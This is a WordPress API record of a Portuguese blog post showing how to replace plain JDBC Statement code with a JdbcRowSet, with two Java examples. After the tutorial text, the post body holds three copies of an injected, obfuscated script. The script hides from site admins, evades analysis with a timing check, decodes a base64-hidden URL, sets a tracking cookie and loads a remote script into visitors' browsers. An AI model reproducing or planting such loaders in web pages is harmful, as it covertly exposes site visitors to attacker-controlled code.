{"id":2415,"date":"2012-06-26T16:32:07","date_gmt":"2012-06-26T19:32:07","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2415"},"modified":"2025-10-26T22:36:22","modified_gmt":"2025-10-27T01:36:22","slug":"jdbc-de-uma-forma-diferente-rowset","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/06\/26\/jdbc-de-uma-forma-diferente-rowset\/","title":{"rendered":"JDBC de uma forma diferente: RowSet"},"content":{"rendered":"<p style=\"text-align: justify;\">O RowSet \u00e9 uma classe que tem a fun\u00e7\u00e3o de adicionar o suporte ao padr\u00e3o JavaBean ao JDBC.<\/p>\n<p style=\"text-align: justify;\">Ao inv\u00e9s de realizarmos as opera\u00e7\u00f5es desse jeito:<\/p>\n<pre class=\"brush: java; highlight: [1,2,4,5,6]; title: ; notranslate\" title=\"\">\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\n\t\ttry {\n\t\t\tconn = DriverManager.getConnection(&quot;jdbc:oracle:thin:@\/\/database:1521\/orcl.localdomain&quot;, &quot;thiago&quot;, &quot;senha&quot;);\n\n\t\t\tstmt = conn.createStatement();\n\t\t\tResultSet rs = stmt.executeQuery(&quot;SELECT * FROM CLIENTE&quot;);\n\n\t\t\twhile(rs.next()) {\n\t\t\t\tResultSetMetaData rsMetaData = rs.getMetaData();\n\t\t\t\tint columnCount = rsMetaData.getColumnCount();\n\t\t\t\tfor(int colIdx = 0; colIdx&lt;columnCount; colIdx++) {\n\t\t\t\t\tSystem.out.print(rs.getObject(colIdx+1) + &quot;|&quot;);\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n<\/pre>\n<p style=\"text-align: justify;\">Realizamos de uma maneira \"mais JavaBean\":<\/p>\n<pre class=\"brush: java; highlight: [1,2,4,5,6,7,8,9,10]; title: ; notranslate\" title=\"\">\n\t\tRowSetFactory rowSetFactory = null;\n\t\tJdbcRowSet jdbcRs = null;\n\n\t\ttry {\n\t\t\trowSetFactory = RowSetProvider.newFactory();\n\n\t\t\tjdbcRs = rowSetFactory.createJdbcRowSet();\n\n\t\t\tjdbcRs.setUrl(&quot;jdbc:oracle:thin:@\/\/database:1521\/orcl.localdomain&quot;);\n\t\t\tjdbcRs.setUsername(&quot;thiago&quot;);\n\t\t\tjdbcRs.setPassword(&quot;senha&quot;);\n\n\t\t\tjdbcRs.setCommand(&quot;SELECT * FROM CLIENTE&quot;);\n\t\t\tjdbcRs.execute();\n\t\t\twhile(jdbcRs.next()) {\n\t\t\t\tResultSetMetaData rsMetaData = jdbcRs.getMetaData();\n\t\t\t\tint columnCount = rsMetaData.getColumnCount();\n\t\t\t\tfor(int colIdx = 0; colIdx&lt;columnCount; colIdx++) {\n\t\t\t\t\tSystem.out.print(jdbcRs.getObject(colIdx+1) + &quot;|&quot;);\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n<\/pre>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O RowSet \u00e9 uma classe que tem a fun\u00e7\u00e3o de adicionar o suporte ao padr\u00e3o JavaBean ao JDBC. Ao inv\u00e9s de realizarmos as opera\u00e7\u00f5es desse jeito: Connection conn = null; Statement stmt = null; try { conn = DriverManager.getConnection(&quot;jdbc:oracle:thin:@\/\/database:1521\/orcl.localdomain&quot;, &quot;thiago&quot;, <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/06\/26\/jdbc-de-uma-forma-diferente-rowset\/\">Continue lendo  <span class=\"screen-reader-text\">  JDBC de uma forma diferente: RowSet<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,3,10,48,71],"tags":[],"class_list":["post-2415","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-java","category-jee","category-mysql","category-oracle-base-de-dados"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2415","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2415"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2415\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2415"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2415"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2415"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}